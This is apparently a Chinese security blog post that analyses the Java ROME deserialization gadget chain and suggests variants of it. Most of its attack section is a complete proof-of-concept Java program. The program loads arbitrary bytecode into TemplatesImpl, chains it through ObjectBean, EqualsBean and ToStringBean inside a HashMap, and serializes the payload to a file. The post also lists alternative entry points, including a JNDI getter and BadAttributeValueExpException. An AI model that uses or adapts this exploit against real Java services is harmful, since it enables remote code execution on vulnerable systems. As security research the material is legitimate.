0x00 前言
Rome链本身比较简单,本文侧重于链子的变换和优化。
0x01 yso链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
|
读者自行分析吧,直接给出POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import sun.reflect.ReflectionFactory;
import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception{ TemplatesImpl templatesImpl = Utils.getTemplatesImpl(); ObjectBean objectBean = new ObjectBean(Templates.class, templatesImpl); EqualsBean equalsBean = (EqualsBean) Utils.getFieldValue(objectBean, "_equalsBean"); ToStringBean toStringBean = (ToStringBean) Utils.getFieldValue(objectBean, "_toStringBean"); Utils.setFieldValue(equalsBean, "_obj", toStringBean); HashMap<Object, Object> hashMap = Utils.gadgetFromHashmap(objectBean); objectBean.hashCode(); Utils.serializeToFile(hashMap);
}
public static class Utils { public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } public static Object getFieldValue(Object object, String fieldName) throws Exception{ Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); return field.get(object); } public static void serializeToFile(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin")); objectOutputStream.writeObject(object); } public static Object deserializeFromFile(String filePath) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin")); return objectInputStream.readObject(); } public static Object initObject(Class clazz) throws Exception { ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructorForSerialization = reflectionFactory .newConstructorForSerialization(clazz, constructor); constructorForSerialization.setAccessible(true); return constructorForSerialization.newInstance(); } public static TemplatesImpl getTemplatesImpl() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("E:\\all_test\\test_java\\com\\Unserialize\\Rome\\target\\classes\\Calc.class")); setFieldValue(templates, "_name", "Pax"); setFieldValue(templates, "_bytecodes", new byte[][]{code}); return templates; } public static HashMap<Object, Object> gadgetFromHashmap(Object o) throws Exception { HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(1,1); Field tableField = HashMap.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ if (entry != null){ setFieldValue(entry,"key",o); } } return hashMap; } } }
|
0x02 分析与优化
ToStringBean.toString(String)方法会调用getter,下意识地想到TemplatesImpl.getOutputProperties()这个getter。但是只有这一个getter吗?显然还有JdbcRowSetImpl.getDatabaseMetaData()这个调用JNDI服务的getter。所以平常可以多积累一些getter。
不难发现,HashMap里的key.hashCode()既可以是ObjectBean也可以是EqualsBean。
说到HashMap,其实也可以换成HashTable。
其实在上篇文章没有说到,无论是HashMap还是HashTable,put的时候都会调用key.hashCode()。在Utils里我也给出了相关的函数,可以无伤放key(不调用到key.hashCode()):

再深入一点,既然核心是调用ToStringBean.toString(),可以把ToStringBean放到BadAttributeValueExpException里,反正只要是调用toString()方法即可的类即可。
这篇文章也给了几个调用toString()的类:jdk新入口挖掘-先知社区:badAttributeValueExpException,HotSwappableTargetSource,XStringForFSB,AudioFileFormat$Type,TextAndMnemonicHashMap。
0x03 Javassist
Javassist:Java 字节码以二进制的形式存储在 .class 文件中,每一个.class文件包含一个Java类或接口。Javaassist 就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以通过手动的方式去生成一个新的类对象。其使用方式类似于反射。
多的不说,文末的链接也有相关的文章。
0x04 参考
Java反序列化之ROME反序列化-先知社区
Java反序列化之Rome - Potat0w0
Java安全学习——ROME反序列化 - 枫のBlog